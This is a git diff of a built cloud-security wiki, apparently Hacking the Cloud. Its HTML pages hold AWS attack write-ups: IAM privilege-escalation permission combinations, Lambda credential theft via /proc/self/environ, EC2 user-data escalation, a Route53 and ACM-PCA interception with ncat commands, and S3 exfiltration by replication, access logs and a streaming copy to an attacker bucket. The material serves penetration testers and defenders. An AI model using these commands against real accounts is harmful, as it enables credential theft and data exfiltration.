iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate

With access to the iam:PassRole, ec2:CreateLaunchTemplate, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

iam:PassRole, cloudformation:CreateStack

With access to the iam:PassRole and cloudformation:CreateStack permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

iam:PassRole, codestar:CreateProject

With access to the iam:PassRole and codestar:CreateProject permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.

iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition

With access to the iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, and datapipeline:PutPipelineDefinition permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

iam:PassRole, ec2:RunInstances

With access to the iam:PassRole and ec2:RunInstances permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.

This can be taken advantage of with the following one-liner:

ec2 run-instances one-liner

Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.

A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage user data to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.

Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be bypassed).

iam:PassRole, glue:CreateDevEndpoint

With access to the iam:PassRole and glue:CreateDevEndpoint permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

iam:PassRole, glue:CreateJob

With access to the iam:PassRole and glue:CreateJob permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege would allow for the job to be run.

iam:PassRole, glue:UpdateJob

With access to the iam:PassRole and glue:UpdateJob permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege or some pre-existing trigger could cause the job to run.

iam:PassRole, lambda:AddPermission, lambda:CreateFunction

With access to the iam:PassRole, lambda:AddPermission, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.

iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction

With access to the iam:PassRole, lambda:CreateEventSourceMapping, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.

It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the dynamodb:CreateTable and dynamodb:PutItem permissions to trigger this yourself.

iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction

With access to the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.

iam:PutGroupPolicy

With access to the iam:PutGroupPolicy permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.

iam:PutRolePermissionsBoundary

With access to the iam:PutRolePermissionsBoundary permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

iam:PutRolePolicy

With access to the iam:PutRolePolicy permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.

iam:PutUserPermissionsBoundary

With access to the iam:PutUserPermissionsBoundary permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

iam:PutUserPolicy

With access to the iam:PutUserPolicy permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.

iam:SetDefaultPolicyVersion

With access to the iam:SetDefaultPolicyVersion permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.

iam:UpdateAssumeRolePolicy

With access to the iam:UpdateAssumeRolePolicy permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.

iam:UpdateLoginProfile

With access to the iam:UpdateLoginProfile permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.

lambda:UpdateFunctionCode

With access to the lambda:UpdateFunctionCode permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.

lambda:UpdateFunctionConfiguration

With access to the lambda:UpdateFunctionConfiguration permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.

\ No newline at end of file diff --git a/aws/exploitation/lambda-steal-iam-credentials/index.html b/aws/exploitation/lambda-steal-iam-credentials/index.html index 4605a8cf4..abbd36cc6 100644 --- a/aws/exploitation/lambda-steal-iam-credentials/index.html +++ b/aws/exploitation/lambda-steal-iam-credentials/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Steal IAM Credentials and Event Data from Lambda

In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as XML External Entity attacks or SSRF that allows the file protocol. This is because "everything is a file".

IAM credentials can be accessed via reading /proc/self/environ.

Credentials

Note

In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.

In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface. Unlike IAM credentials, this data is accessible over standard SSRF at http://localhost:9001/2018-06-01/runtime/invocation/next.

This will include information about what invoked the Lambda function and may be valuable depending on the context.

Note

Unlike IAM credentials associated with EC2 instances, there is no GuardDuty alert for stolen Lambda credentials.

Article by Nick Frichette

Steal IAM Credentials and Event Data from Lambda

In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as XML External Entity attacks or SSRF that allows the file protocol. This is because "everything is a file".

IAM credentials can be accessed via reading /proc/self/environ.

Credentials

Note

In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.

In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface. Unlike IAM credentials, this data is accessible over standard SSRF at http://localhost:9001/2018-06-01/runtime/invocation/next.

This will include information about what invoked the Lambda function and may be valuable depending on the context.

Note

Unlike IAM credentials associated with EC2 instances, there is no GuardDuty alert for stolen Lambda credentials.

\ No newline at end of file diff --git a/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html b/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html index 9e4296d77..fdc20fc37 100644 --- a/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html +++ b/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

EC2 Privilege Escalation Through User Data

If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.

ec2:ModifyInstanceAttribute

If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.

Usually, user data scripts are only run the first time the instance is started, however this can be changed using cloud-init to run every time the instance restarts.

To do this, first create a file in the following format.

Content-Type: multipart/mixed; boundary="//"
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

EC2 Privilege Escalation Through User Data

If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.

ec2:ModifyInstanceAttribute

If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.

Usually, user data scripts are only run the first time the instance is started, however this can be changed using cloud-init to run every time the instance restarts.

To do this, first create a file in the following format.

Content-Type: multipart/mixed; boundary="//"
 MIME-Version: 1.0
 
 --//
@@ -37,6 +37,6 @@
 aws s3 cp s3://example-boot-bucket/start_script.sh /root/start_script.sh
 chmod +x /root/start_script.sh
 /root/start_script.sh
-

On first launch, the EC2 instance will pull the start_script from S3 and will run it. If an adversary can write to that location, they can escalate privileges or gain control of the EC2 instance.

Note

In addition to new instances being spun up or after a reboot, poisoning the scripts/applications can also effect EC2 instances in an Auto Scaling Group.

\ No newline at end of file diff --git a/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html b/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html index 87709a3dd..d88224519 100644 --- a/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html +++ b/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/index.html @@ -7,13 +7,13 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Houston Hopkins

DNS and CloudFront Domain Takeover via Deleted S3 Buckets

Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.

Note

Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a NoSuchBucket error. For example:

<Error>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Houston Hopkins

DNS and CloudFront Domain Takeover via Deleted S3 Buckets

Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.

Note

Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a NoSuchBucket error. For example:

<Error>
 <Code>NoSuchBucket</Code>
 <Message>The specified bucket does not exist</Message>
 <BucketName>hackingthe.cloud</BucketName>
 <RequestId>68M9C1KTARF9FBYN</RequestId>
 <HostId>RpbdvVU9AXidVVI/1zD+WTwYdVI5YMqQNJShmf6zJlztBVyINq8TtqbzWpThdi/LivlOWRVCPVs=</HostId>
 </Error>
-

This made it easy for attackers to identify the bucket name and quickly create their own to serve malicious content. As of late 2023, this behavior has been changed. Now CloudFront distributions pointing to deleted S3 buckets will return a NotFound error, and will not include the bucket name. This is a clear security improvement from AWS and makes it more difficult for an adversary to abuse.

If an adversary can enumerate the deleted bucket name through other means they can perform the attack as normal.

While there are a variety of ways in which this could be harmful, typically an adversary would serve JavaScript content that could be used to impact other parts of the domain. An adversary could use this to potentially steal browser cookies, perform actions as the user, and more.

Tip

Misconfigurations such as these are typically caused by poor hygiene in retiring cloud resources. Always be sure to delete DNS records first to potentially mitigate these issues. There are automated services out there that will automate the discovery of vulnerable domains/CloudFront distributions such as OWASP's domain-protect.

\ No newline at end of file diff --git a/aws/exploitation/route53_modification_privilege_escalation/index.html b/aws/exploitation/route53_modification_privilege_escalation/index.html index 1fcce93ca..f48b18ea5 100644 --- a/aws/exploitation/route53_modification_privilege_escalation/index.html +++ b/aws/exploitation/route53_modification_privilege_escalation/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Patryk Bogusz

AWS API Call Hijacking via ACM-PCA

Note

To perform this attack the target account must already have an AWS Certificate Manager Private Certificate Authority (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.

Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.

This is possible because:

  • AWS SDKs do not have Certificate Pinning
  • Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
  • Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names

For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com:

aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=<VPCId>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Patryk Bogusz

AWS API Call Hijacking via ACM-PCA

Note

To perform this attack the target account must already have an AWS Certificate Manager Private Certificate Authority (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.

Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.

This is possible because:

  • AWS SDKs do not have Certificate Pinning
  • Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
  • Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names

For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com:

aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=<VPCId>
 

Then set the A record for secretsmanager.us-east-1.amazonaws.com in this private hosted zone. Use the following POST body payload - mitm.json:

{
   "Comment": "<anything>",
   "Changes": [{
@@ -25,6 +25,6 @@
 

For CN (Common Name), one must provide secretsmanager.us-east-1.amazonaws.com. Then one sends the CSR to acm-pca to issue the certificate:

aws acm-pca issue-certificate --certificate-authority-arn "<arn_of_ca_used_within_vpc>" --csr file://your_domain.csr --signing-algorithm SHA256WITHRSA --validity Value=365,Type="DAYS" --idempotency-token 1234
 

It returns the signed certificate ARN in the response. The next call is to fetch the certificate.

aws acm-pca get-certificate --certificate-arn "<cert_arn_from_previous_response>" --certificate-authority-arn "<arn_of_ca_used_within_vpc>"
 

Once one got the signed certificate on the disk as cert.crt, the adversary starts the listener or 443/TCP and sniffs the calls to the secretsmanager.us-east-1.amazonaws.com

sudo ncat --listen -p 443 --ssl --ssl-cert cert.crt --ssl-key your_domain.key -v
-

The calls can be then forwarded to the Secrets Manager VPCE to for example GetSecretValue and get unauthorized access to the data. The same action can be done with any AWS API called from the VPC - S3, KMS, etc.

\ No newline at end of file diff --git a/aws/exploitation/s3-bucket-replication-exfiltration/index.html b/aws/exploitation/s3-bucket-replication-exfiltration/index.html index 55f483f85..be61269ec 100644 --- a/aws/exploitation/s3-bucket-replication-exfiltration/index.html +++ b/aws/exploitation/s3-bucket-replication-exfiltration/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Ben Leembruggen

Exfiltrating S3 Data with Bucket Replication Policies

Introduction

S3 data replication provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.


Required Configurations and Permissions

Pre-requisites

For bucket replication to be enabled, the following pre-requisites need to be in place:

  • The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled.
  • Both source and destination buckets must have versioning enabled.
  • If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled.

IAM Role

Minimum Required IAM Permissions - Source Account

  • iam:CreateRole (creating a new role)
  • iam:CreatePolicy & iam:AttachRolePolicy (creating a new policy) or iam:PutRolePolicy (modifying an existing policy)
  • iam:UpdateAssumeRolePolicy

Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf. To replicate all data (including existing objects), an example trust policy and permission set would look something like:

Trust Policy

{
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Ben Leembruggen

Exfiltrating S3 Data with Bucket Replication Policies

Introduction

S3 data replication provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.


Required Configurations and Permissions

Pre-requisites

For bucket replication to be enabled, the following pre-requisites need to be in place:

  • The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled.
  • Both source and destination buckets must have versioning enabled.
  • If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled.

IAM Role

Minimum Required IAM Permissions - Source Account

  • iam:CreateRole (creating a new role)
  • iam:CreatePolicy & iam:AttachRolePolicy (creating a new policy) or iam:PutRolePolicy (modifying an existing policy)
  • iam:UpdateAssumeRolePolicy

Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf. To replicate all data (including existing objects), an example trust policy and permission set would look something like:

Trust Policy

{
     "Version": "2012-10-17",
     "Statement": [
         {
@@ -118,6 +118,6 @@
       }
    ]
 }
-

If the S3 objects in the source account are encrypted, a key must be created in the destination account to encrypt the objects on replication. Additionally, a pre-requisite of bucket replication is that Bucket Versioning is enabled on the destination bucket.

Configuring the replication

Minimum Required IAM Permissions - Source Account

  • s3:PutBucketReplication
  • iam:PassRole
  • s3:CreateJob & s3:UpdateJobStatus (Creating and starting a S3 batch replication job)
  • s3:PutBucketVersioning (Only if not already enabled)

The final step is to configure the replication between the source and destination buckets. Depending on whether you use the CLI or console, the steps can change slightly. The full process for both options is documented by AWS here.

In line with the steps above, ensure that:
- Specify your created S3 replication role
- Replicate existing objects (Disabled by default)
- Select Replicate KMS Encrypted objects if needed (Disabled by default)
- The Key ID should be the KMS key in the destination account.


What defenders can look for

  • Unknown PutBucketReplication or JobCreated events in the Cloudtrail Management trail. The JobCreated event is generated when an S3 Batch operation job has been created, indicating that all existing objects in a bucket are being replicated across, as opposed to only future S3 objects.

S3 Batch Operation Job Created

  • When an encrypted object is replicated, KMS Decrypt/Encrypt events will appear in a Cloudtrail Management trail, with a principalID and sts assumed role prefixed with 's3-replication'. These encryption events will reference a KMS key in another account - which may trigger certain data perimeter detections.

  • Unknown PutBucketVersioning events (a pre-requisite of bucket replication) on existing S3 buckets, recorded by the Cloudtrail Management trail.

\ No newline at end of file diff --git a/aws/exploitation/s3_server_access_logs/index.html b/aws/exploitation/s3_server_access_logs/index.html index 766a638e3..3c3bf7784 100644 --- a/aws/exploitation/s3_server_access_logs/index.html +++ b/aws/exploitation/s3_server_access_logs/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Costas Kourmpoglou

Data Exfiltration through S3 Server Access Logs

If we have control over an IAM identity that allows s3:GetObject, depending on the network access to the S3 service, we can use S3 server access logs to a bucket we control, and use it to exfiltrate data.

With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send GetObject requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place.

How

We'll create an S3 bucket, AttackerBucket in our account with server access logging. Let's name the logging bucket AttackerBucketLogs. With our data in hand ExampleDataToExfiltrate, we will send a GetObject request to our bucket, for example:

aws s3api get-object --bucket AttackerBucket --key ExampleDataToExfiltrate

The request will be denied. However the attempt along with the other details, including our key ExampleDatatoExfiltrate - which is the data we're exfiltrating - will arrive to our logging bucket AttackerBucketLogs.

We'll receive the data in the default logging format:

[..] attackerbucket […] 8.8.8.8 – […] REST.GET.OBJECT ExampleDataToExfiltrate "GET / ExampleDataToExfiltrate HTTP/1.1" 403 AccessDenied 243 - 18 - "-" "UserAgentAlsoHasData " – […]
-

We're exfiltrating data, using the Key parameter of the request. There's a hard limit of 1024 bytes per Key, but other request fields can be used like User-Agent.

Challenges

There are two challenges with this method:

  1. If the network access to the S3 service takes place over a VPC endpoint, then the policy of the VPC endpoint would need to allow access to our bucket. The VPC endpoint will drop the request and will not forward it to the S3 service, if the policy doesn't allow it. The S3 service won't be able to generate logs, and we won't be able to exfiltrate data.

  2. The logs are not guaranteed to arrive in order. If you're splitting data across multiple requests, you'll need to figure out a mechanism to re-order the data correctly.

For the general usecase where network access to the S3 service takes place over the internet, there is a 10-120 minute delay, in the log delivery.

Article by Costas Kourmpoglou

Data Exfiltration through S3 Server Access Logs

If we have control over an IAM identity that allows s3:GetObject, depending on the network access to the S3 service, we can use S3 server access logs to a bucket we control, and use it to exfiltrate data.

With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send GetObject requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place.

How

We'll create an S3 bucket, AttackerBucket in our account with server access logging. Let's name the logging bucket AttackerBucketLogs. With our data in hand ExampleDataToExfiltrate, we will send a GetObject request to our bucket, for example:

aws s3api get-object --bucket AttackerBucket --key ExampleDataToExfiltrate

The request will be denied. However the attempt along with the other details, including our key ExampleDatatoExfiltrate - which is the data we're exfiltrating - will arrive to our logging bucket AttackerBucketLogs.

We'll receive the data in the default logging format:

[..] attackerbucket […] 8.8.8.8 – […] REST.GET.OBJECT ExampleDataToExfiltrate "GET / ExampleDataToExfiltrate HTTP/1.1" 403 AccessDenied 243 - 18 - "-" "UserAgentAlsoHasData " – […]
+

We're exfiltrating data, using the Key parameter of the request. There's a hard limit of 1024 bytes per Key, but other request fields can be used like User-Agent.

Challenges

There are two challenges with this method:

  1. If the network access to the S3 service takes place over a VPC endpoint, then the policy of the VPC endpoint would need to allow access to our bucket. The VPC endpoint will drop the request and will not forward it to the S3 service, if the policy doesn't allow it. The S3 service won't be able to generate logs, and we won't be able to exfiltrate data.

  2. The logs are not guaranteed to arrive in order. If you're splitting data across multiple requests, you'll need to figure out a mechanism to re-order the data correctly.

For the general usecase where network access to the S3 service takes place over the internet, there is a 10-120 minute delay, in the log delivery.

\ No newline at end of file diff --git a/aws/exploitation/s3_streaming_copy/index.html b/aws/exploitation/s3_streaming_copy/index.html index 3ce539737..35bace3bb 100644 --- a/aws/exploitation/s3_streaming_copy/index.html +++ b/aws/exploitation/s3_streaming_copy/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Houston Hopkins

S3 Streaming Copy

Shout Out to Janardhan Prabhakara for showing me this all those years ago!

Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.

Why would anyone use this?

In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands.

If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected. However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.

When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail. The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.

When using the aws-cli utilize the --profile to specify the IAM context profile from the .aws/credentials file.

Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials

[attacker]
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Houston Hopkins

S3 Streaming Copy

Shout Out to Janardhan Prabhakara for showing me this all those years ago!

Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.

Why would anyone use this?

In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands.

If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected. However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.

When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail. The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.

When using the aws-cli utilize the --profile to specify the IAM context profile from the .aws/credentials file.

Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials

[attacker]
 aws_access_key_id = <attacker_key_id>
 aws_secret_access_key = <attacker_secret_key>
 

Step 2: Create a profile for the VICTIM credentials. These are the keys attained with access to the victim's AWS enviornment.

Note

This step is optional if using a shell on a VICTIM EC2, running an EC2 instance profile that has the permissions to test.

[victim]
@@ -15,6 +15,6 @@
 aws_secret_access_key = <victim_secret_key>
 

Step 3: example: S3 Stream Copy command for a single file from cli

aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )
 

Step 3: example: S3 Stream Copy command for a single file from cli of an Ec2 instance using the Instance Profile

aws s3 cp s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )
-

Prevention: A known, but not very common, way to prevent this is by mandating S3 communication through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId.

This is becoming more common with the popularity of Data Perimeter guardrails

Note

If this technique doesn't work, it is possible there is a VPC Endpoint policy is in place. Try making the ATTACKER destination bucket in another AWS Region as Cross-region calls typically do not traverse a VPC Endpoint.

\ No newline at end of file diff --git a/aws/general-knowledge/aws_organizations_defaults/index.html b/aws/general-knowledge/aws_organizations_defaults/index.html index 29a2b95f4..f7dd25c9f 100644 --- a/aws/general-knowledge/aws_organizations_defaults/index.html +++ b/aws/general-knowledge/aws_organizations_defaults/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Scott Weston & Nick Frichette

AWS Organizations Defaults & Pivoting

Almost all mid-to-large sized AWS environments make use of multi-account architecture. Using multiple AWS accounts offers a number of benefits and is considered a best practice. To help organize and manage those accounts, AWS offers a service called AWS Organizations.

Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration.

